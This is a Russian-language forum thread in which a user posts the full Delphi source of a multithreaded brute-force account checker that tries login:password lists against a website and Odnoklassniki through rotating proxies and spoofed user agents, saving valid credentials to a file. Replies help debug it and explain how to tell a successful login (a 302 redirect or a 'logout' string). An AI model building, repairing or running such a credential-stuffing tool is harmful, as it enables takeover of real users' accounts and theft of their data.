нужно исправить работу с брутом(авторизацию) - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе
18.04.2013, 07:48
#1
Разведчик
Регистрация: 30.10.2012
Сообщений: 0
Популярность: -24
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
нужно исправить работу с брутом(авторизацию)
Код:
unit odnk;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.StdCtrls,
Vcl.Samples.Spin, Vcl.Imaging.pngimage, Vcl.ExtCtrls, SyncObjs, IdIOHandler,
IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCookieManager,
IdCustomTransparentProxy, IdSocks, acPNG, Vcl.Imaging.jpeg, sGauge, sMemo,
sEdit, sSpinEdit, sLabel, sComboBox, Vcl.Buttons, sBitBtn, sGroupBox,
sPageControl, sSkinManager, sCheckBox, shellapi;
type
Tlolka = class(TForm)
IdHTTP1: TIdHTTP;
IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
IdSocksInfo1: TIdSocksInfo;
IdCookieManager1: TIdCookieManager;
OpenDialog1: TOpenDialog;
sSkinManager1: TsSkinManager;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sTabSheet2: TsTabSheet;
sGroupBox1: TsGroupBox;
Button1: TsBitBtn;
Button2: TsBitBtn;
Button3: TsBitBtn;
Button4: TsBitBtn;
sGroupBox2: TsGroupBox;
ComboBox1: TsComboBox;
sLabel1: TsLabel;
SpinEdit1: TsSpinEdit;
SpinEdit2: TsSpinEdit;
sLabel2: TsLabel;
sGroupBox3: TsGroupBox;
sLabel3: TsLabel;
accountslabel: TsLabel;
sLabel5: TsLabel;
proxylabel: TsLabel;
sLabel7: TsLabel;
goodlabel: TsLabel;
sLabel9: TsLabel;
badlabel: TsLabel;
sLabel11: TsLabel;
errorlabel: TsLabel;
Memo1: TsMemo;
sGauge2: TsGauge;
sWebLabel1: TsWebLabel;
sWebLabel2: TsWebLabel;
sCheckBox1: TsCheckBox;
sCheckBox2: TsCheckBox;
sCheckBox3: TsCheckBox;
sCheckBox4: TsCheckBox;
Image1: TImage;
sLabelFX1: TsLabelFX;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure sCheckBox1Click(Sender: TObject);
procedure sWebLabel1Click(Sender: TObject);
procedure sWebLabel2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
Ip : string;
Port : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;
var
lolka: Tlolka;
Accounts, Proxy:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;
tp:integer;
Friends, ok, games:string;
UserAg: array [0..10] of string=(
'Mozilla/5.0 (Windows; U; Win98; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1',
'Mozilla/5.0 (Windows; U; Win9x; en; Stable) Gecko/20020911 Beonex/0.8.1-stable',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.1 Safari/525.19',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.4/Megaupload 3.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iRider 2.21.1108; FDM)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; MathPlayer2.0)',
'Mozilla/5.0 (Windows; U;XMPP Tiscali Communicator v.10.0.1; Windows NT 5.1; it; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3',
'Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131 Netscape6/6.01',
'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405 Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801'
);
implementation
{$R *.dfm}
function Pars(T_, ForS, _T:string):string;
var a, b:integer;
begin
Result := '';
if (T_='') or (ForS='') or (_T='') then Exit;
a:=Pos(T_, ForS);
if a=0 then Exit else a:=a+Length(T_);
ForS:=Copy(ForS, a, Length(ForS)-a+1);
b:=Pos(_T, ForS);
if b>0 then
Result:=Copy(ForS, 1, b - 1);
end;
constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TNewThread.Execute;
var
CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
SSL : TIdSSLIOHandlerSocketOpenSSL;
SOCKS: TIdSocksInfo;
s:string;
cook:TIdCookieManager;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
inc(tp);
if tp=Proxy.Count-1 then tp:=0;
CS.Leave;
if Work then
begin
HTTP := TIdHTTP.Create(nil);
http.HandleRedirects:=false;
http.AllowCookies:=true;
SSL:=TIdSSLIOHandlerSocketOpenSSL.Create;
ssl.Port:=433;
http.ReadTimeout:=lolka.SpinEdit2.Value*1000;
http.Request.UserAgent:=UserAg[random(10)];
if Proxy.Text = '' then sleep(0) else
if lolka.ComboBox1.Text='http/https' then
begin
IP:=Copy(Proxy[tp], 1, Pos(':',Proxy[tp])-1);
PORT:=Copy(Proxy[tp], Pos(':', Proxy[tp])+1, Length(Proxy[tp]));
http.ProxyParams.ProxyServer:=IP;
http.ProxyParams.ProxyPort:=strtoint(PORT);
end;
if lolka.ComboBox1.Text='socks4' then
begin
SOCKS:=TIdSocksInfo.Create;
SOCKS.Version:=svSocks4;
SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
SOCKS.Authentication:= saNoAuthentication;
SSL.TransparentProxy:=SOCKS;
end;
if lolka.ComboBox1.Text='socks5' then
begin
SOCKS:=TIdSocksInfo.Create;
SOCKS.Version:=svSocks5;
SOCKS.Host:=Copy(Proxy[tp],1,Pos(':',Proxy[tp])-1);
SOCKS.Port:=StrToInt(Copy(Proxy[tp],Pos(':',Proxy[tp])+1,Length(Proxy[tp])));
SOCKS.Authentication:= saNoAuthentication;
SSL.TransparentProxy:=SOCKS;
end;
if pos(':', Accounts[CurAcc])<>0 then
begin
FAcc:=Copy(Accounts[CurAcc], 1, Pos(':',Accounts[CurAcc])-1); //Копируем логин
FPas:=Copy(Accounts[CurAcc], Pos(':', Accounts[CurAcc])+1, Length(Accounts[CurAcc])); //Копируем пароль
end
else
begin
FAcc:=Copy(Accounts[CurAcc], 1, Pos(';',Accounts[CurAcc])-1);
FPas:=Copy(Accounts[CurAcc], Pos(';', Accounts[CurAcc])+1, Length(Accounts[CurAcc]));
end;
http.IOHandler:=ssl;
data:=tstringlist.Create;
// data.Add('st.posted=set');
data.Add('login='+FAcc);
data.Add('pass='+FPas);
// data.Add('st.fJS=enabled');
// data.Add('st.screenSize=1366 x 768');
// data.Add('st.flashVer=10.1.82');
data.Add('enter=ВОЙТИ');
http.IOHandler:=ssl;
try
HTTP.Post('http://www.binmedia.su', data);
Rez:=0
except
if Pos('Set-Cookie: PHPSESSID=', HTTP.Response.RawHeaders.Text)<>0 then
begin
if (lolka.sCheckBox2.Checked=true) or (lolka.sCheckBox3.Checked=true) or (lolka.sCheckBox4.Checked=true) then
begin
s:=HTTP.Get('http://www.odnoklassniki.ru/games');
end;
begin
if lolka.sCheckBox2.Checked=true then
begin
if Pos('<b>',s)<>0 then
begin
ok:=Pars('<b>',s,'</b>');
end
else
ok:='Нету';
end;
if lolka.sCheckBox4.Checked=true then
begin
if Pos('<span class="navMenuCount">',s)<>0 then
begin
friends:=Pars('<span class="navMenuCount">',s,'</span>');
end
else
friends:='Нету';
end;
if lolka.sCheckBox3.Checked=true then
begin
if Pos('<i class="hcount">',s)<>0 then
begin
games:=Pars('<i class="hcount">',s,'</i>');
end
else
games:='Нету';
end;
end;
Rez:=1;
end
else
Rez:=-1;
end;
end;
HTTP.Free;
data.Free;
Synchronize(Sync);
end;
dec(Thread);
if Thread=0 then MessageDlg('The end.',mtWarning,[mbOK],0);
lolka.button4.Enabled:=false;
lolka.Button3.Enabled:=true;
lolka.Button1.Enabled:=true;
lolka.SpinEdit1.Enabled:=true;
lolka.SpinEdit2.Enabled:=true;
lolka.button2.Enabled:=true;
lolka.combobox1.Enabled:=true;
end;
procedure TNewThread.Sync;
begin
case Rez of
1:begin
Append(GoodFile);
if (lolka.sCheckBox2.Checked=true) or (lolka.sCheckBox3.Checked=true) or (lolka.sCheckBox4.Checked=true) then
begin
Writeln(GoodFile,'======================================');
Writeln(GoodFile,'Входные данные: '+FAcc+':'+FPas);
if lolka.sCheckBox2.Checked=true then
begin
Writeln(GoodFile,'Кол-во ОК: '+ok);
end;
if lolka.sCheckBox4.Checked=true then
begin
Writeln(GoodFile,'Кол-во Друзей: '+friends);
end;
if lolka.sCheckBox3.Checked=true then
begin
Writeln(GoodFile,'Кол-во Игр: '+games);
end;
end
else
Writeln(GoodFile,FAcc+':'+FPas);
Closefile(GoodFile);
lolka.Memo1.Lines.Add(FAcc+':'+FPas);
lolka.GoodLabel.Caption:=IntToStr(StrToInt(lolka.GoodLabel.Caption)+1);
lolka.sGauge2.Progress:=lolka.sGauge2.Progress+1;
if lolka.sCheckBox1.Checked=true then
begin
beep;
end;
end;
0:begin
Append(BadFile);
Writeln(BadFile,FAcc+':'+FPas);
Closefile(BadFile);
lolka.BadLabel.Caption:=IntToStr(StrToInt(lolka.BadLabel.Caption)+1);
lolka.sGauge2.Progress:=lolka.sGauge2.Progress+1;
end;
-1:begin
Accounts.Add(FAcc+':'+FPas);
lolka.errorlabel.Caption:=IntToStr(StrToInt(lolka.errorlabel.Caption)+1);
end;
end;
end;
procedure Tlolka.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
lolka.accountslabel.Caption:=inttostr(Accounts.Count);
end;
procedure Tlolka.Button2Click(Sender: TObject);
begin
OpenDialog1.FileName:='';
OpenDialog1.InitialDir:=ExtractFilePath(Application.ExeName);
if OpenDialog1.Execute then
begin
Proxy.Clear;
Proxy.LoadFromFile(OpenDialog1.FileName);
end;
lolka.proxylabel.Caption:=inttostr(Proxy.Count);
end;
procedure Tlolka.Button3Click(Sender: TObject);
var
Way, StrTime:string;
i:integer;
begin
StrTime:=TimeToStr(Time);
for i:=1 to Length(StrTime) do
if StrTime[i]=':' then StrTime[i]:='_';
begin
button4.Enabled:=true;
Button3.Enabled:=false;
Button1.Enabled:=false;
SpinEdit1.Enabled:=false;
SpinEdit2.Enabled:=false;
button2.Enabled:=false;
combobox1.Enabled:=false;
Memo1.Clear;
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'Rez_Good_'+strtime+'.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'Rez_Bad_'+strtime+'.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Errorlabel.Caption:='0';
sGauge2.MaxValue:=Accounts.Count;
lolka.sGauge2.Progress:=0;
Acc:=-1;
tp:=-1;
Work:=true;
for Thread:=1 to strtoint(SpinEdit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(SpinEdit1.Text);
end;
end;
procedure Tlolka.Button4Click(Sender: TObject);
begin
Work:=false;
lolka.button4.Enabled:=false;
lolka.Button3.Enabled:=true;
lolka.Button1.Enabled:=true;
lolka.SpinEdit1.Enabled:=true;
lolka.SpinEdit2.Enabled:=true;
lolka.button2.Enabled:=true;
lolka.combobox1.Enabled:=true;
end;
procedure Tlolka.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;
procedure Tlolka.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
Proxy:=Tstringlist.create;
CS:=TcriticalSection.create;
end;
procedure Tlolka.sCheckBox1Click(Sender: TObject);
begin
if lolka.sCheckBox1.Checked=true then
beep;
end;
procedure Tlolka.sWebLabel1Click(Sender: TObject);
begin
ShellExecute(handle, 'open', 'http://GodHack.org', nil, nil, SW_SHOW);
end;
procedure Tlolka.sWebLabel2Click(Sender: TObject);
begin
ShellExecute(handle, 'open', 'http://victor-soft.ru', nil, nil, SW_SHOW);
end;
end.
Самая главная часть кода эта:
Код:
http.IOHandler:=ssl;
data:=tstringlist.Create;
// data.Add('st.posted=set');
data.Add('login='+FAcc);
data.Add('pass='+FPas);
// data.Add('st.fJS=enabled');
// data.Add('st.screenSize=1366 x 768');
// data.Add('st.flashVer=10.1.82');
data.Add('enter=ВОЙТИ');
http.IOHandler:=ssl;
try
HTTP.Post('http://www.binmedia.su', data);
Rez:=0
except
if Pos('Set-Cookie: PHPSESSID=', HTTP.Response.RawHeaders.Text)<>0 then
begin
post запросы:
POST / HTTP/1.1
Host: [
Ссылки могут видеть только зарегистрированные пользователи. ]
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: [
Ссылки могут видеть только зарегистрированные пользователи. ]
Cookie: PHPSESSID=h6imo7e8mof23al4ied9i6g354
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
login=login&pass=pass&enter=%C2%CE%C9%D2%C8
брут на [
Ссылки могут видеть только зарегистрированные пользователи. ] , всё летит bad, помогите исправить,пожалуйста
18.04.2013, 09:14
#2
Старший сержант
Регистрация: 25.12.2011
Сообщений: 191
Популярность: 5259
Сказал(а) спасибо: 31
Поблагодарили 235 раз(а) в 135 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
и ни одного комментария. Врядли кто то возьмется помогать)
И прекращайте использовать один и тот же исходник быдло брута. Я не удивлюсь , если у вас еще и потоки будут со временем вылетать.
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Последний раз редактировалось metraz; 18.04.2013 в 09:16 .
18.04.2013, 13:08
#3
Сержант
Регистрация: 10.08.2011
Сообщений: 136
Популярность: 1781
Сказал(а) спасибо: 60
Поблагодарили 246 раз(а) в 145 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Ошибка в том, что проверка условия валидности запихана в обработку исключений. Не удивительно что все в бэд идет.
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
18.04.2013, 14:21
#4
Разведчик
Регистрация: 30.10.2012
Сообщений: 0
Популярность: -24
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Пользователь сказал cпасибо:
18.04.2013, 14:38
#6
Пехотинец
Регистрация: 02.04.2011
Сообщений: 66
Популярность: 9953
Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Цитата:
и ни одного комментария. Врядли кто то возьмется помогать)
И прекращайте использовать один и тот же исходник быдло брута . Я не удивлюсь , если у вас еще и потоки будут со временем вылетать.
А сам то ^^ C него ж все начинали...
Автору: Я думаю тебе не стоит браться за такие вещи... тебе сказали где ошибка, но ты все равно не понял -> ты не знаешь что такое исключения а используешь в коде... вообщем почитай литературу а потом берись за такое
Очень советую "Библия delphi" лучше что бы было на бумаге
.. с монитора не очень понятно (ну это лично для меня)
18.04.2013, 14:39
#7
Разведчик
Регистрация: 30.10.2012
Сообщений: 0
Популярность: -24
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Последний раз редактировалось egorea1999; 18.04.2013 в 14:41 .
Причина: Добавлено сообщение
18.04.2013, 14:48
#8
Сержант
Регистрация: 10.08.2011
Сообщений: 136
Популярность: 1781
Сказал(а) спасибо: 60
Поблагодарили 246 раз(а) в 145 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
18.04.2013, 14:51
#9
Разведчик
Регистрация: 30.10.2012
Сообщений: 0
Популярность: -24
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Последний раз редактировалось egorea1999; 18.04.2013 в 15:10 .
Причина: Добавлено сообщение
18.04.2013, 15:45
#10
Старший сержант
Регистрация: 25.12.2011
Сообщений: 191
Популярность: 5259
Сказал(а) спасибо: 31
Поблагодарили 235 раз(а) в 135 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
________________
Для просмотра ссылок или изображений в подписях, у Вас должно быть не менее 10 сообщение(ий). Сейчас у Вас 0 сообщение(ий).
18.04.2013, 17:00
#11
Разведчик
Регистрация: 30.10.2012
Сообщений: 0
Популярность: -24
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Код:
http.IOHandler:=ssl;
data:=tstringlist.Create;
// data.Add('st.posted=set');
data.Add('login='+FAcc);
data.Add('pass='+FPas);
// data.Add('st.fJS=enabled');
// data.Add('st.screenSize=1366 x 768');
// data.Add('st.flashVer=10.1.82');
data.Add('enter=ВОЙТИ');
http.IOHandler:=ssl;
try
HTTP.Post('http://www.binmedia.su', data);
except
rez:=-1;
end;
if Pos('Set-Cookie: PHPSESSID=', HTTP.Response.RawHeaders.Text)<>0 then
всё летит в гуд...помогите
19.04.2013, 11:31
#12
Пехотинец
Регистрация: 02.04.2011
Сообщений: 66
Популярность: 9953
Сказал(а) спасибо: 898
Поблагодарили 412 раз(а) в 209 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Автор, тебе явно рано заниматься такими вещами. Ошибка в той строке что я выделил. Приложу скрин шот... из него видно, что при любом ответе сервера в ответе будет содержаться
Set-Cookie: PHPSESSID= ... поэтому все и летит в гуд.
Решение подсказывать не буду , потому что оно тут крайне простое... подумай
20.04.2013, 22:41
#13
Разведчик
Регистрация: 30.10.2012
Сообщений: 0
Популярность: -24
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
22.04.2013, 13:26
#14
Разведчик
Регистрация: 16.10.2011
Сообщений: 0
Популярность: 25
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: нужно исправить работу с брутом(авторизацию)
Тебе действительно рано этим заниматься, выучи хоть базовую часть.
Чтобы определить гуд это или бэд, гуд обычно это код ответа 302(редерикт). Если такого нету парси любое значение после авторизации(Например, слово logout в исходном коде сайта).
P.S код не смотрел, читать не возможно. А разбираться времени нету.
Последний раз редактировалось aimone; 22.04.2013 в 13:33 .
Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 17:13 .